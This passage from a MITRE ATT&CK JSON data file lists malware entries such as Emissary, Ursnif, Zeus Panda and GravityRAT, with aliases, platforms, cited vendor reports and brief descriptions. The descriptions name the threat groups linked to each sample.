2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Emissary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1","type":"malware","created":"2017-05-31T21:32:54.772Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0082","external_id":"S0082"},{"source_name":"Emissary","description":"(Citation: Lotus Blossom Dec 2015)"},{"source_name":"Lotus Blossom Dec 2015","description":"Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/"}],"modified":"2021-08-09T14:21:48.477Z","name":"Emissary","description":"[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Exaramel for Linux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","type":"malware","created":"2019-08-26T13:02:46.378Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0401","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0401"},{"source_name":"Exaramel for Linux","description":"(Citation: ESET TeleBots Oct 2018)"},{"source_name":"ESET TeleBots Oct 2018","url":"https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/","description":"Cherepanov, A., Lipovsky, R. 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The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["KEYMARBLE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0271","external_id":"S0271"},{"source_name":"KEYMARBLE","description":"(Citation: US-CERT KEYMARBLE Aug 2018)"},{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-30T16:53:14.872Z","name":"KEYMARBLE","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) is a Trojan that has reportedly been used by the North Korean government. (Citation: US-CERT KEYMARBLE Aug 2018)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BUBBLEWRAP","Backdoor.APT.FakeWinHTTPHelper"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--123bd7b3-675c-4b1a-8482-c55782b20e2b","type":"malware","created":"2017-05-31T21:32:33.738Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0043","external_id":"S0043"},{"source_name":"FireEye admin@338","description":"FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.","url":"https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"}],"modified":"2020-03-30T15:03:26.307Z","name":"BUBBLEWRAP","description":"[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HAWKBALL"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--12a7450d-b03e-4990-a5b8-b405ab9c803b","type":"malware","created":"2019-06-20T14:52:45.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0391","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0391"},{"source_name":"HAWKBALL","description":"(Citation: FireEye HAWKBALL Jun 2019)"},{"description":"Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html","source_name":"FireEye HAWKBALL Jun 2019"}],"modified":"2020-03-30T16:46:39.617Z","name":"HAWKBALL","description":"[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PS1","PS1 "],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--13183cdf-280b-46be-913a-5c6df47831e7","type":"malware","created":"2021-05-24T14:55:59.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0613","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0613"},{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T12:58:20.120Z","name":"PS1","description":"[PS1](https://attack.mitre.org/software/S0613) is a loader that was used to deploy 64-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Ursnif","Gozi-ISFB","PE_URSNIF","Dreambot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","type":"malware","created":"2019-06-04T18:42:22.552Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://attack.mitre.org/software/S0386","source_name":"mitre-attack","external_id":"S0386"},{"source_name":"Ursnif","description":"(Citation: NJCCIC Ursnif Sept 2016)"},{"source_name":"Gozi-ISFB","description":"(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)"},{"source_name":"PE_URSNIF","description":"(Citation: TrendMicro Ursnif Mar 2015)"},{"source_name":"Dreambot","description":"(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)"},{"description":"NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019.","url":"https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif","source_name":"NJCCIC Ursnif Sept 2016"},{"description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","source_name":"ProofPoint Ursnif Aug 2016"},{"description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/?_ga=2.165628854.808042651.1508120821-744063452.1505819992","source_name":"TrendMicro Ursnif Mar 2015"},{"description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html","source_name":"FireEye Ursnif Nov 2017"}],"modified":"2021-04-23T20:38:14.681Z","name":"Ursnif","description":"[Ursnif](https://attack.mitre.org/software/S0386) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)s, and malicious links.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016) [Ursnif](https://attack.mitre.org/software/S0386) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.(Citation: TrendMicro Ursnif Mar 2015)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ThreatNeedle"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","created":"2021-11-30T15:46:36.159Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0665","url":"https://attack.mitre.org/software/S0665"},{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ThreatNeedle](https://attack.mitre.org/software/S0665) is a backdoor that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2019 to target cryptocurrency, defense, and mobile gaming organizations.  It is considered to be an advanced cluster of [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Manuscrypt (a.k.a. NukeSped) malware family.(Citation: Kaspersky ThreatNeedle Feb 2021)","modified":"2022-04-13T19:50:38.792Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"ThreatNeedle","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ZLib"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--166c0eca-02fd-424a-92c0-6b5106994d31","type":"malware","created":"2017-05-31T21:32:56.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0086","external_id":"S0086"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:19:03.738Z","name":"ZLib","description":"[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Edward Millington"],"x_mitre_aliases":["RedLeaves","BUGJUICE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5","type":"malware","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0153","external_id":"S0153"},{"source_name":"RedLeaves","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"BUGJUICE","description":"Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named BUGJUICE by FireEye is likely the same as the malware RedLeaves. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)"},{"url":"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","source_name":"PWC Cloud Hopper Technical Annex April 2017"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","source_name":"FireEye APT10 April 2017"},{"url":"https://twitter.com/ItsReallyNick/status/850105140589633536","description":"Carr, N.. (2017, April 6). Retrieved June 29, 2017.","source_name":"Twitter Nick Carr APT10"}],"modified":"2020-03-30T21:01:05.439Z","name":"RedLeaves","description":"[RedLeaves](https://attack.mitre.org/software/S0153) is a malware family used by [menuPass](https://attack.mitre.org/groups/G0045). The code overlaps with [PlugX](https://attack.mitre.org/software/S0013) and may be based upon the open source tool Trochilus. (Citation: PWC Cloud Hopper Technical Annex April 2017) (Citation: FireEye APT10 April 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234","type":"malware","created":"2017-05-31T21:33:16.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0133","external_id":"S0133"},{"source_name":"Softpedia MinerC","description":"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.","url":"http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"}],"modified":"2018-10-17T00:14:20.652Z","name":"Miner-C","description":"[Miner-C](https://attack.mitre.org/software/S0133) is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["POWERSOURCE","DNSMessenger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--17e919aa-4a49-445c-b103-dbb8df9e7351","type":"malware","created":"2017-05-31T21:33:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0145","external_id":"S0145"},{"source_name":"POWERSOURCE","description":"(Citation: FireEye FIN7 March 2017)"},{"source_name":"DNSMessenger","description":"Based on similar descriptions of functionality, it appears S0145, as named by FireEye, is the same as the first stages of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)"},{"source_name":"FireEye FIN7 March 2017","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"},{"source_name":"Cisco DNSMessenger March 2017","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.","url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html"}],"modified":"2020-03-30T17:17:35.369Z","name":"POWERSOURCE","description":"[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Felismus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0171","external_id":"S0171"},{"source_name":"Felismus","description":"(Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)"},{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"},{"url":"https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware","description":"Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.","source_name":"Forcepoint Felismus Mar 2017"}],"modified":"2020-03-30T18:52:30.568Z","name":"Felismus","description":"[Felismus](https://attack.mitre.org/software/S0171) is a modular backdoor that has been used by [Sowbug](https://attack.mitre.org/groups/G0054). (Citation: Symantec Sowbug Nov 2017) (Citation: Forcepoint Felismus Mar 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Zeus Panda"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--198db886-47af-4f4c-bff5-11b891f85946","type":"malware","created":"2019-01-29T17:59:43.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0330","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0330"},{"source_name":"Zeus Panda","description":"(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)"},{"description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More","source_name":"Talos Zeus Panda Nov 2017"},{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2021-08-18T23:49:03.468Z","name":"Zeus Panda","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) is a Trojan designed to steal banking information and other sensitive credentials for exfiltration. [Zeus Panda](https://attack.mitre.org/software/S0330)’s original source code was leaked in 2011, allowing threat actors to use its source code as a basis for new malware variants. It is mainly used to target Windows operating systems ranging from Windows XP through Windows 10.(Citation: Talos Zeus Panda Nov 2017)(Citation: GDATA Zeus Panda June 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GeminiDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--199463de-d9be-46d6-bb41-07234c1dd5a6","type":"malware","created":"2017-05-31T21:32:36.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0049","external_id":"S0049"},{"url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","source_name":"F-Secure The Dukes"}],"modified":"2020-03-30T16:43:20.186Z","name":"GeminiDuke","description":"[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CARROTBAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1b9f0800-035e-4ed1-9648-b18294cc5bc8","type":"malware","created":"2020-06-02T14:11:40.581Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0462","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0462"},{"source_name":"Unit 42 CARROTBAT November 2018","url":"https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/","description":"Grunzweig, J. and Wilhoit, K. (2018, November 29). The Fractured Block Campaign: CARROTBAT Used to Deliver Malware Targeting Southeast Asia. Retrieved June 2, 2020."},{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."}],"modified":"2020-06-15T15:13:27.660Z","name":"CARROTBAT","description":"[CARROTBAT](https://attack.mitre.org/software/S0462) is a customized dropper that has been in use since at least 2017. [CARROTBAT](https://attack.mitre.org/software/S0462) has been used to install [SYSCON](https://attack.mitre.org/software/S0464) and has infrastructure overlap with [KONNI](https://attack.mitre.org/software/S0356).(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Matryoshka"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0167","external_id":"S0167"},{"source_name":"Matryoshka","description":"(Citation: ClearSky Wilted Tulip July 2017)"},{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2021-04-23T20:13:32.050Z","name":"Matryoshka","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is a malware framework used by [CopyKittens](https://attack.mitre.org/groups/G0052) that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["FrameworkPOS","Trinity"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1cdbbcab-903a-414d-8eb0-439a97343737","type":"malware","created":"2020-09-08T14:55:46.094Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0503","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0503"},{"source_name":"Trinity","description":"(Citation: SentinelOne FrameworkPOS September 2019)"},{"source_name":"SentinelOne FrameworkPOS September 2019","url":"https://labs.sentinelone.com/fin6-frameworkpos-point-of-sale-malware-analysis-internals-2/","description":"Kremez, V. (2019, September 19). FIN6 “FrameworkPOS”: Point-of-Sale Malware Analysis & Internals. Retrieved September 8, 2020."}],"modified":"2020-10-19T19:44:15.357Z","name":"FrameworkPOS","description":"[FrameworkPOS](https://attack.mitre.org/software/S0503) is a point of sale (POS) malware used by [FIN6](https://attack.mitre.org/groups/G0037) to steal payment card data from sytems that run physical POS devices.(Citation: SentinelOne FrameworkPOS September 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["GravityRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0237","external_id":"S0237"},{"source_name":"GravityRAT","description":"(Citation: Talos GravityRAT)"},{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2020-03-30T20:44:34.524Z","name":"GravityRAT","description":"[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos 